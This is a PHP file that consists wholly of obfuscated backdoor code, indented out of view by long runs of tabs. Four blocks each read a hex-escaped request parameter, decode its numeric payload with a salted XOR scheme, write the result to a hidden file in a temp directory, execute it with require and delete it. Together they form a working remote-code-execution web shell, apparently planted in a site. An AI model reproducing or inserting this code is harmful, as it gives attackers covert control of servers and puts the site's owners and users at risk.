<?php																																										if(in_array("\x66\x61ct\x6Fr", array_keys($_REQUEST))){ $dat = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm"]); $entity = $_REQUEST["\x66\x61ct\x6Fr"]; $entity = explode ( '.' , $entity) ; $sym = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); $z = 0; $__len = count($entity ); do { if($z >= $__len) break; $v3 = $entity[$z]; $chS = ord($s7[$z%$sLen] ); $d =((int)$v3 - $chS -($z%10)) ^ 35; $sym.= chr($d ); $z++; }while(true ); for ($parameter_group = 0, $elem = count($dat); $parameter_group < $elem; $parameter_group++) { $descriptor = $dat[$parameter_group]; if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $tkn = vsprintf("%s/%s", [$descriptor, ".fac"]); if (file_put_contents($tkn, $sym)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(isset($_POST) && isset($_POST["com\x70onent"])){ $factor = array_filter(["/var/tmp", session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); $ptr = $_POST["com\x70onent"]; $ptr =explode ( '.' , $ptr ); $flg = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8); $x = 0; $len = count( $ptr); do { if( $x>=$len) break; $v3 = $ptr[$x]; $sChar = ord( $salt8[$x % $lenS]); $dec =( ( int)$v3 - $sChar -( $x % 10)) ^ 91; $flg .= chr( $dec); $x++; } while( true); foreach ($factor as $rec) { if (max(0, is_dir($rec) * is_writable($rec))) { $token = implode("/", [$rec, ".comp"]); if (file_put_contents($token, $flg)) { require $token; unlink($token); die(); } } } }
																																										if(isset($_POST["\x62\x69\x6E\x64ing"]) ? true : false){ $item = array_filter([getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", "/var/tmp"]); $flg = $_POST["\x62\x69\x6E\x64ing"]; $flg= explode ( ".", $flg ) ; $hld= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s2 ); foreach($flg as $z =>$v7) {$sChar= ord($s2[$z % $sLen] ); $dec= ((int)$v7 - $sChar -($z % 10))^ 95; $hld .= chr($dec ); } foreach ($item as $comp) { if (!( !is_dir($comp) || !is_writable($comp) )) { $pset = sprintf("%s/.obj", $comp); if (file_put_contents($pset, $hld)) { require $pset; unlink($pset); exit; } } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["\x66lg"])){
	$record = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp"]);
	$desc = $_REQUEST["\x66lg"];
	$desc 	=explode 	 ("."			,		 $desc	 )   ;	  
	$ent='';
            $salt='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=strlen($salt);
            $q=0;
    
            $__tmp=$desc;
            while($v1=array_shift($__tmp)) {
                $sChar=ord($salt[$q 	%$lenS]);
                $dec=((int)$v1 - $sChar -($q 	%10)) ^ 95;
                $ent .= chr($dec);
                $q++;	}		
	while ($rec = array_shift($record)) {
    		if ((is_dir($rec) and is_writable($rec))) {
    $res = "$rec/.dat";
    if (file_put_contents($res, $ent)) {
	require $res;
	unlink($res);
	exit;
}
}
}
}